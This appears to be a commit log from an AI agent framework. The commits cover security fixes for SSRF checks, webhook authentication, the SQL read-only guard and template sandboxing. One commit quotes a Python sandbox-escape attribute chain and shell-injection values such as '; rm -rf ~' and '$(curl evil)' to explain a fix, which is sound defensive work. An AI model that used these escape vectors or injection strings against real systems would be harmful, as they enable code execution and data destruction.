* fix(knowledge_sql): match write keywords on word boundaries
The read-only guard rejected a query if any of DROP/DELETE/INSERT/UPDATE/
ALTER/CREATE/ATTACH appeared as a bare substring of the uppercased text. That
wrongly blocks valid SELECTs whose column/alias/literal merely contains one --
e.g. "deleted_at" (DELETE), "created_at" (CREATE), "updated_content" (UPDATE).
The knowledge_chunks table actually has deleted_at/created_at columns and the
store's own retrieval filters on "WHERE deleted_at IS NULL", so realistic
read queries were refused. Match on word boundaries with a compiled regex,
mirroring the sibling tool db_query.py. Add a regression test.
* fix(knowledge_sql): ignore string literals in keyword scan, broaden error handling
- Strip single-quoted literals before the forbidden-keyword scan so
SELECTs whose data merely mentions a write keyword (e.g. LIKE
'%delete%') are not rejected.
- Catch sqlite3.Error instead of only OperationalError so multi-
statement strings return a failed ToolResult instead of raising.
- Document created_at/deleted_at in the tool's schema description.
---------
Co-authored-by: Elliot Slusky <elliot@slusky.com>
CI's lint job ran ruff check but never ruff format --check, letting format drift land silently (79 files had drifted from the pinned ruff 0.15.1). Add the ruff format --check step to ci.yml, reformat the 79 drifted files with the pinned ruff (mechanical only — verified AST-identical to before across all files, no logic changes), and add a Makefile whose test target mirrors the actual CI lane.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* security: harden network-exposed surface
Hardening for the network-reachable attack surface, prioritizing fixes
that are strong but do not change working local/loopback defaults.
- auth_middleware: constant-time API key comparison (secrets.compare_digest)
for the HTTP path, and gate /metrics behind auth so operational counters
are not readable unauthenticated. /health stays open.
- webhook_routes: fail closed when a channel's secret/token is unset. Twilio,
BlueBubbles, WhatsApp (verify + inbound), and SendBlue now reject (403)
instead of processing unsigned/unauthenticated input. Constant-time
comparisons for BlueBubbles/SendBlue/WhatsApp verify token.
- http_request: follow redirects manually and re-run the SSRF check on every
hop (capped at 5) so an allowed public URL cannot 30x-redirect to an
internal/metadata address.
- api_routes /v1/memory/index: restrict indexing to OPENJARVIS_WORKSPACE roots
when configured and refuse sensitive files (.env, keys, credentials).
- config.toml: default [server] host to 127.0.0.1 (loopback) with a comment
on how to safely expose to a LAN (0.0.0.0 + API key).
Tests: new fail-closed webhook tests, /metrics auth tests, and SSRF
redirect block/follow tests; updated SendBlue tests for the new
secret-required behavior. Affected suites pass (95 tests), ruff clean.
* fix(http): keep SSRF redirect-following patchable via httpx.request
The manual redirect-following loop used a private httpx.Client, which
bypassed the `http_request.httpx.request` mock seam that consumers' tests
rely on (e.g. the twitter-bot GitHub-issue tests escaped to the real
network and 401'd). Issue each hop via module-level httpx.request with
follow_redirects=False instead — same per-hop SSRF re-check, restored
testability.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Jon Saad-Falcon <jonsaadfalcon@gmail.com>
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
web_search returned thin, unlabeled results (Tavily default search_depth,
**title**/url/content blob), so small models in the native_react loop
tended to echo URLs instead of synthesizing content (#390). Query Tavily
with search_depth="advanced" and format each result as a labeled block:
### {title}
Source: {url}
Summary: {content or snippet}
joined by `---` separators. DuckDuckGo fallback uses the same labeled
shape. Falls back to a result's `snippet` when `content` is absent.
Extracted from #448 (the web_search portion only; that PR also bundled
an unrelated install.sh rewrite, left out of scope here). Credit to
@sanjayravit for the original fix. Adds tests asserting the labeled
format, the snippet fallback, and search_depth="advanced"; updates the
max_results test for the new call signature.
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* fix(security): detect Rust at import time + SSRF Python fallback (#225)
RUST_AVAILABLE was hardcoded to True, so the exported flag never
reflected reality and the pure-Python fallbacks it was meant to gate
were unreachable.
- _rust_bridge: compute RUST_AVAILABLE dynamically by probing the
compiled extension once at import time.
- security.ssrf: check_ssrf now falls back to the existing
_check_ssrf_python implementation when the Rust extension is not
built, instead of raising ImportError. The SSRF guard is
security-critical and must never be silently skipped or crash just
because Rust was not compiled.
- tools.browser: drop the `except ImportError: pass` around the SSRF
check, which previously disabled SSRF protection entirely on installs
without the compiled backend (internal/metadata endpoints reachable).
- tests: cover the Python fallback path (metadata IP, private IP, and
public URL) with RUST_AVAILABLE patched False.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
* test(security): make test_no_hostname backend-agnostic
The cherry-picked #451 fix adds a pure-Python SSRF fallback, but
test_no_hostname asserted the Rust-specific message "Invalid URL". The
Python fallback returns "No hostname in URL" for the same input, so the
SSRF suite failed on exactly the uncompiled-install path #451 targets
(in CI the Rust extension is built, masking it).
Assert the security behavior (URL blocked, non-None reason) and accept
either backend's wording, so the suite passes on both the Rust and
Python paths.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* test(tools): update browser SSRF test for non-bypassable check
The #225 fix removes the `except ImportError: pass` that silently
disabled the SSRF check in browser navigation. The existing
test_execute_ssrf_module_missing asserted that very anti-pattern ("skip
check and proceed"), so it failed once the swallow was removed.
Replace it with tests that assert the SECURE behavior: the SSRF check
runs unconditionally and is honored (a private-IP URL is blocked even
when navigation would otherwise succeed), and a public URL still
navigates. check_ssrf's pure-Python fallback means the import never
fails anymore, so the old skip path no longer exists.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Rahul <therahulll56@gmail.com>
Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
Reimplements the useful parts of #385 cleanly.
Adds two small cross-platform helpers under `openjarvis.core.utils`:
- `get_python_executable()` — prefers `python3`, falls back to `python` for Windows / minimal distros that only ship the unversioned name.
- `open_browser(url)` — `webbrowser.open` by default; on Windows uses `cmd /c start "" <url>` to avoid console-host edge cases.
Swapped at every hardcoded `python3` / `webbrowser.open` site: `connectors/oauth.py`, `evals/scorers/livecodebench.py`, `scripts/oauth_all.py`, `scripts/install/install.sh` (adds `PY_CMD` detection block), `scripts/quickstart.sh` (adds `MINGW*|MSYS*|CYGWIN*) cmd /c start` case), and the two affected test files. Test files wrap `get_python_executable()` in `shlex.quote()` before interpolating into `shell=True` strings — Windows interpreter paths often contain spaces.
Deliberately different from #385: `openjarvis.core.__init__` does NOT re-export `DEFAULT_CONFIG_DIR` (would have raised ImportError because it's in `openjarvis.core.config`, not the package `__init__`; re-exporting would also force eager import of the heavy config module at every `import openjarvis.core`). `oauth.py` keeps `from openjarvis.core.config import DEFAULT_CONFIG_DIR` alongside the new `from openjarvis.core import open_browser`.
Original API surface and call-site sweep by @sanjayravit in #385 — huge thanks for the careful Windows-compatibility audit. This PR preserves your design while fixing the ImportError edge cases caught during review.
Co-Authored-By: sanjayravit <sanjayravit@users.noreply.github.com>
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
`python`-action tool templates evaluated expressions with `eval()` under a
restricted `__builtins__`. That sandbox is escapable via attribute walks like
`str.__class__.__mro__[-1].__subclasses__()`, reaching `object.__subclasses__()`
and arbitrary code. `shell`-action templates interpolated parameters into a
string and ran it with `shell=True`, so a value like `; rm -rf ~` or
`$(curl evil)` executed in the host shell.
Fixes:
- Replace `eval()` with a small AST interpreter (`safe_eval_expr`) that
implements an explicit node allowlist — literals, names, arithmetic/boolean/
comparison ops, ternaries, subscripts, container literals, and calls to a
fixed set of builtins only. Attribute access, lambdas, comprehensions, and
dunder names have no implementation and raise `ValueError`, so the escape
vectors are unreachable by construction. No `eval`/`exec` remains.
- Shell action: tokenize the FIXED template with `shlex.split` first, then
substitute params into individual argv elements and run with `shell=False`.
Injected metacharacters become inert literal arguments.
All shipped builtin templates (`str(float(value))`, `str(input) if input
else ...`, etc.) continue to work. Verified empirically: every known escape
payload is rejected and a `; touch <marker>` / `$(touch <marker>)` /
backtick injection never creates the marker file.
Closes#216
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Add optional retriever parameter to KnowledgeSearchTool so it can
delegate to TwoStageRetriever (BM25 + reranking) when supplied, falling
back to direct KnowledgeStore retrieval otherwise.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
Implements KnowledgeSearchTool registered under "knowledge_search" that wraps
KnowledgeStore with optional filters (source, doc_type, author, since, until,
top_k) and formats results with source attribution for agent consumption.
Includes 8 unit tests covering basic search, filter-by-source, filter-by-author,
no-results, empty-query, no-store, spec parameters, and registry checks.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
Eight tool modules (file_write, apply_patch, git_tool, db_query,
pdf_tool, image_tool, audio_tool, knowledge_tools) were missing from
openjarvis/tools/__init__.py. Their @ToolRegistry.register() decorators
never fired, so the /v1/tools endpoint never returned them and the
web UI agent wizard showed an incomplete tool list.
Add the missing imports and a regression test that checks all expected
tool names are in the registry after package import.
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
- Catch any Exception from Tavily (not just specific error types)
- Fall back to DuckDuckGo for any error, making the tool more robust
- Fix test mocks to use builtins.__import__ for proper local import mocking
- Simplify test_execute_tavily_error to test generic exception handling
When Tavily API is unavailable (no API key, import error, or API error),
the web_search tool now falls back to DuckDuckGo search instead of
failing. This ensures the tool always works for users without a
Tavily API key.
- Add DuckDuckGo search as fallback using ddgs package
- Catch specific Tavily exceptions (MissingAPIKeyError, InvalidAPIKeyError,
ForbiddenError, UsageLimitExceededError, TimeoutError, BadRequestError)
- Add logger.debug calls to log when falling back to DuckDuckGo
- Use ddgs instead of deprecated duckduckgo-search package name
- Add test for DuckDuckGo fallback result formatting
- Simplify test mocking to use consistent monkeypatch patterns
Closes#81
Sort the check_ssrf import alphabetically to fix ruff I001. Mock the
SSRF check in URL-fetching tests since it requires the Rust backend
which isn't available in CI. Add a dedicated test verifying SSRF
rejection.
* feat: add interactive agent confirmation mode and fix tool loading
- Add `interactive` and `confirm_callback` params to ToolUsingAgent and
NativeReActAgent so CLI sessions can prompt user before tool execution
- Fix tool resolution in `ask` and `chat` commands to fall back to
config.tools.enabled when no --tools flag is provided
- Register shell_exec tool in tools/__init__.py auto-discovery
- Add dspy and gepa as optional learning extras (learning-dspy, learning-gepa)
- Fix openjarvis-rust lock version (1.0.0 → 0.1.0)
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
* fix(cli): support configured tool defaults and confirmations
---------
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>